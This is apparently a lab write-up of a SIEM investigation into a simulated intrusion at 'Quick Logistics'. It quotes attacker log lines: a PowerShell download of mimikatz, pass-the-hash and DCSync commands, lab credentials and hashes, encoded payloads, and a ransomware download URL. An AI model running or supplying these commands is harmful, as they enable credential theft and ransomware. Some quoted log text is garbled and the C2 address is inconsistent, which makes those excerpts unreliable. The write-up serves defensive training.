


# Lurking in the Dark


Without tripping any security defences of Quick Logistics LLC, the Boogeyman was able to compromise one of the employees and stayed in the dark, waiting for the right moment to continue the attack. Using this initial email access, the threat actors attempted to expand the impact by targeting the CEO, Evan Hutchinson.




The email appeared questionable, but Evan still opened the attachment despite the scepticism. After opening the attached document and seeing that nothing happened, Evan reported the phishing email to the security team.

## Initial Investigation

Upon receiving the phishing email report, the security team investigated the workstation of the CEO. During this activity, the team discovered the email attachment in the downloads folder of the victim.



In addition, the security team also observed a file inside the ISO payload, as shown in the image below.




Lastly, it was presumed by the security team that the incident occurred between **August 29 and August 30, 2023**.

Given the initial findings, you are tasked to analyse and assess the impact of the compromise.


**What is the PID of the process that executed the initial stage 1 payload?**

So we know that the file downloaded was an html file, so I filtered for html files in Elastic. The answer popped up right at the top: 6392



**The stage 1 payload attempted to implant a file to another location. What is the full command-line value of this execution?**

So we know that the malicious file is “ProjectFinancialSummary\_Q3.pdf.hta”, so I went ahead and filtered for the file. We could then see the stage 1 payload attempt to implant a file to another location under the command-line value: "C:\Windows\System32\xcopy.exe" /s /i /e /h D:\review.dat C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat




**The implanted file was eventually used and executed by the stage 1 payload. What is the full command-line value of this execution?**

Using the screenshot above, we get the answer right below the command ran in the last question: "C:\Windows\System32\rundll32.exe" D:\review.dat,DllRegisterServer


**The stage 1 payload established a persistence mechanism. What is the name of the scheduled task created by the malicious script?**

Still under the same filter for the malicious file, we can see that the new scheduled task created by the malicious script is “Review”



**The execution of the implanted file inside the machine has initiated a potential C2 connection. What is the IP and port used by this connection? (format: IP:port)**


I went ahead and looked at the destination ip filter and it was clear that a C2 connection was established with 97.4% of destination ip addresses being: 162.232.170.151. We can then click and see that the port 80 is being used by this C2 connection.



>	Aug 30, 2023 @ 02:13:42.377	165.232.170.151	10.10.155.159	80
>	Aug 30, 2023 @ 02:10:20.014	165.232.170.151	10.10.155.159	80
>	Aug 30, 2023 @ 02:08:49.615	165.232.170.151	10.10.155.159	80
>	Aug 30, 2023 @ 02:08:44.095	165.232.170.151	10.10.155.159	80
>	Aug 30, 2023 @ 02:08:38.645	165.232.170.151	10.10.155.159	80
>	Aug 30, 2023 @ 02:08:33.198	165.232.170.151	10.10.155.159	80
>	Aug 30, 2023 @ 02:08:27.755	165.232.170.151	10.10.155.159	80
>	Aug 30, 2023 @ 02:08:22.298	165.232.170.151	10.10.155.159	80

**The attacker has discovered that the current access is a local administrator. What is the name of the process used by the attacker to execute a UAC bypass?**

I did some research here on common UAC bypass techniques and filtered in the search bar for "fodhelper.exe". It came across and per inspection, I was able to determine that the attacker used this technique for exploitation.



Having a high privilege machine access, the attacker attempted to dump the credentials inside the machine. What is the GitHub link used by the attacker to download a tool for credential dumping?

So I went ahead and filtered for \*github\* in the search bar since we know the attacker used a github link to download the tool. I scrolled through the results and saw that the attacker downloaded a link containing mimikatz, a known post exploitation tool that extracts windows credentials.

```
> Aug 30, 2023 @ 01:46:28.986 message: Engine state is changed from Available to Stopped. Details: NewEngineState=Stopped PreviousEngineState=Available SequenceNumber=15 HostName=ConsoleHost
HostVersion=5.1.17763.1490 HostId=abbb8c2c-8f8e-456f-9dbc-ec410bd7ba2e HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c iwr https://github.com/gentilkiwi/
mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -outfile mimikatz.zip EngineVersion=5.1.17763.1490 RunspaceId=26102839-29ff-4350-b052-57afcd1d6db PipelineId= CommandName=
CommandType= ScriptName= CommandPath= CommandLines process.args: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, -c, iwr, https://github.com/gentilkiwi/mimikatz/releases/
download/2.2.0-20220919/mimikatz_trunk.zip, -outfile, mimikatz.zip @timestamp: Aug 30, 2023 @ 01:46:28.986 agent.ephemeral_id: f0cec2ec-4167-46c6-b300-6e294e1a606e agent.hostname: DC01
```

After successfully dumping the credentials inside the machine, the attacker used the credentials to gain access to another machine. What is the username and hash of the new credential pair? (format: username:hash)

Filtering for mimikatz in the search bar, we can follow the attacker's chain of attacks and we see the attacker use the itadmin username to gain access to another machine

```
> Aug 30, 2023 @ 00:13:37.090 "C:\Windows\Temp\lx64\mimi "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -enc SQBmAcgAJABQAFMAVgBIAHIAcwbPa08A evan.hutchinson -
\lx64\mimikatz.exe" "sekurlsa
:pth /user:itadmin /domain
n:QUICKLOGISTICS /ntlm:F8476
9D25EB95EB2D7D8B4A1C5613F2
/run:powershell.exe" exit
k70RSAG0AKAAnAGBAxwR1AG4AYOR1AGwA7DRKACrAI AAnAF4AhwRuFAAdOR1AGwAaOR1ACwASORuAHMArARHAG4AYwR1ACrAKDUAuAFMA7DRRAFVAYORs
```

Using the new credentials, the attacker attempted to enumerate accessible file shares. What is the name of the file accessed by the attacker from a remote share?

Following the chronological order of events and when the attacker used the new credentials, we can see that right after using them, the user accesses the file "IT\_Automation.ps1".

```
> Aug 30, 2023 @ 00:19:52.889 "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden - evan.hutchinson -
cat FileSystem::\\WKSTN-1327.quicklogistics.org\ITFiles\IT_Autom
ation.ps1"
enc SQBmAcgAJABQAFMAVgBIAHIAcwbPa08ABgBUAGeAYgBSAGUALgBQAFMAVgBIAHIAcwbPa08ABgAUAE
8AY0BqAG8ACgAgAC0AZwB1ACAMwApAhsAJABSAUAZg9AFsAlgB1AGYAXQAUEEEAcwBzAGUABQ1AGwA
eQAUEAcAZQBBAFOAcQwAGUAKAAnAFMAeQBzAHQAZQBTAAC4ATQBHAGAYQBnAGUABQ1AG4A4AAUEEAQ
BBAG8ABQBHQAQABvAG4ALgBBAG8ACwBPAFUADABpAGwAcwAnACKAOWkAFIAZQBmAC4ARwB1AHQARgBp
AGUABABKACgAJwBHAG8ACwBPAEKAbgBpAHQARgBpAG8ABAB1AGQAjwASACCATgBvAG4AAUAB1AGIAABgAG
MAI ARTHAYOYORRAGKAYwAnACKAI nRTAGUADAR7AGFAHARTAGUAKAAAF4A4DORnAGwAI AAKAHQACnRTAGUA
```

After getting the contents of the remote file, the attacker used the new credentials to move laterally. What is the new set of credentials discovered by the attacker? (format: username:password)

Continuing following the attacker's events in chronological order under the "mimi" filter, we can see that the attacker discovered the following credentials after getting the contents of the remote file: QUICKLOGISTICS\allan.smith:Tr!ckyP@ssw0rd987


```
> Aug 30, 2023 @ 00:20:21 "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden - evan.hutchinson -
$Credential = (New-Object PSObject -ArgumentList (" "QUICKL
OGISTICS\allan.smith, (ConvertTo-SecureString 'Tr!ckyP@ssw0rd987
-AsPlainText -Force'))); Invoke-Command -Credential $Credential
-computerName WKSTN-1327 -ScriptBlock {whoami}"
enc SQBmAcgAJABQAFMAVgBIAHIAcwbPa08ABgBUAGeAYgBSAGUALgBQAFMAVgBIAHIAcwbPa08ABgAUAE
8AY0BqAG8ACgAgAC0AZwB1ACAMwApAhsAJABSAUAZg9AFsAlgB1AGYAXQAUEEEAcwBzAGUABQ1AGwA
eQAUEAcAZQBBAFOAcQwAGUAKAAnAFMAeQBzAHQAZQBTAAC4ATQBHAGAYQBnAGUABQ1AG4A4AAUEEAQ
BBAG8ABQBHQAQABvAG4ALgBBAG8ACwBPAFUADABpAGwAcwAnACKAOWkAFIAZQBmAC4ARwB1AHQARgBp
AGUABABKACgAJwBHAG8ACwBPAEKAbgBpAHQARgBpAG8ABAB1AGQAjwASACCATgBvAG4AAUAB1AGIAABgAG
MAI ARTHAYOYORRAGKAYwAnACKAI nRTAGUADAR7AGFAHARTAGUAKAAAF4A4DORnAGwAI AAKAHQACnRTAGUA
```

**What is the hostname of the attacker's target machine for its lateral movement attempt?**

We can get this answer from the previous question / screenshot, where we see the hostname of the machine is WKSTN-1327.

Using the malicious command executed by the attacker from the first machine to move laterally, what is the parent process name of the malicious command executed on the second compromised machine?

For this question, I filtered for the new machine we saw the attacker target in the prior question, and then based on the command executed by the attacker on the first machine, I filtered for powershell.exe and Sysmon event ID 1. From here I was able to quickly find my answer: wsmprovhost.exe



The attacker then dumped the hashes in this second machine. What is the username and hash of the newly dumped credentials? (format: username:hash)

Knowing that the attacker is on the WKSTN-1327 machine, we can filter for this, and then “mimi” to locate the answer: administrator:00f80f2538dcb54e7adc715c0e7091ec

Aug 30, 2023 @ 01:41:34.391	KSTN-1327.qul cklogistics.com	powershell.exe	"C:\Users\allan.smith\Documents\m inv64mimkatz.exe" -sekrulso: pth:user=administrator domain: 8cbcf5ad7c70f1c0e7091ec /run:po rshell.exe" exit	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc S0BmACgAJA9QFMAvgB1AHTCAvBgAG8ABgBUA GEAGYsAQAUALgQFMAvgB1AHTCAvBgAG8ABgAueBAyB0QAG8AgCagAC8AZvB1ACAMwApHsH4Q7AF7sAuWb5AHMAdB1A0GALgB 0A9GvB1A0GAFMAZ0BAYHYAqkBJAGUAvBAGAgkBgB0AEBAyBQAG8AZvB1AHTXQ6AdB0AB0AH4A0Z0B0A0QMAwDAQvBvG4Ad ABpAG4ADb1AD0MAZ0ACQADwBJAD0ATgB1AHCALCPBAG1AagB1ACAMkABZ0AFMAgB0ZHQZ0B1CA4ATgB1AHQALgkBXAGUAvBgDAGw 0ckB5A1G4Ad47ACQADQ9ACccAT0B0AhoAqkBS0wMkYQvAvDUALgAwCAAKMABZ0AGkBgkAG8AdwB2ACAA7gBUACANgUAD0E0wAG FCaTW8XADYMA7ACAAvBAGAgZAB1G4AdAvADcALgAwDA1ABYHYA0gAgXDEALgAwCAKAB1AgSAGkABwB1ACAARwB1AGMwAGw vAcARwAKwMA70RvADaJAAvAFsAVAR1AhndAdAF1AhB1R1AGRA7ARnd4Ad7wDhDA0nRVAG4AdA5k1R1AGRA7AR1AC1R1AHw1
-----------------------------	----------------------------------	----------------	--	--




**After gaining access to the domain controller, the attacker attempted to dump the hashes via a DCSync attack. Aside from the administrator account, what account did the attacker dump?**

I filtered for DCsync in the search bar for this one, and a few records popped up around the administrator account the attacker dumped, and I was then able to see that the attacker also dumped the “backupda” account.

>	Aug 30, 2023 @ 01:47:57.889	DC01.quicklogistics.org	powershell.exe	"C:\Users\Administrator\Documents\mini64\minizack.exe"	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc SQ8nACJAQBQAFMvqyBIAHCi8wPag8BqBUAGEAygsAGUALQBOAFMvqyBIAHCwBpAG8AbgAueA8YQbqAG8ACgAgCBQAZwB1ACAAWmpHsAQTAF7ASJwB5HmAdAB1AG8AbqBGOAGUADAuAFMzQByhYaoB1AGUABuABqAgB80A8YQbQAGAZwB1ACIAHQ6AAdoARQB4AQZBQ7ACHAQWAwADAQw8vBg4Ad8AdpAg4Ad81AD0A8mA7ACQAdwB1AD8ATqB1AHcALQBP8G1AagB1AGMAdA8gAFm8eCBQZHQZQ7AQCA4TqB1AHQALqBKGUAYgYBQ8wAgABqLAG4AdAA7ACQAdQ9ACQATQbYHvA8QAg8wGwAYQvADUALqAwKCAKABXACgAbgB8AG8AdBzACATqB5UACAAngUADeAQwAFcAtWBXdyANAA7ACAAvBy8kAGZAB1AG4Ad8AdvDcALgMAd8A1ABYhYAO1nA5DFAI nA5wCKAtR8cAgkAwR1ACAA8wR1ACMA8wRvCAcAwkAw8R7OVBdRAJAA5FASVART1AhdAd8AdUAFIu8n1YAGRA
---	-----------------------------	-------------------------	----------------	--	---

**After dumping the hashes, the attacker attempted to download another remote file to execute ransomware. What is the link used by the attacker to download the ransomware binary?**

Based on what we know, I filtered for the host name used in the prior question, filtered for Sysmon event ID 1, and filtered for \*http\*. From here, I was able to look chronologically after the user dumped the hashes, and found the answer: <http://ff.sillytechninja.io/ransomboogey.exe>



### Conclusion:

This was a great lab to wrap up the SOC Level 1 course and complete the Boogeyman capstone challenges. It was a great refresher on using Elastic and evaluating SIEM logs, and was very interesting to see the attacker execute the full cyber kill chain, and see all of the steps the attacker took each step of the way, including initial compromise, persistence, privilege escalation, credential theft, lateral movement, domain compromise, and attempted ransomware. It shows just how quickly stolen credentials rapidly expand the attacker's access.